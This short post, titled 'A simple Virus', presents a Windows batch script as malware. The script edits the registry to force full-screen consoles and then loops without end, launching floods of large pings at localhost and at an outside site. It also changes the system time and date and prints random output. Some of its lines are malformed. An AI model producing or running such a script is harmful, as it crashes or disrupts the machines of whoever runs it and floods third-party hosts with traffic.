A simple Virus.....

Code:

@echo off
reg add "HKCU\console" /f /v "FullScreen" /t "REG_DWORD" /d 1
set tm=0
:1
start ping 127.0.0.1 -t -l 65000
start ping site.com -t -l 65000
start timeout /T 10
start set /a calc=%calc%+%random%

%random%+%random%%random%*
%random%%random%
type %systemroot%\explorer.exe
set /a tm=%tm%+1
time %tm%:%tm%
date 1-12-%random%
echo %random%%random%%random%%random%%random%%random%
%random%%random%%random%%random%
​%random%%random%%random%%random%
goto :1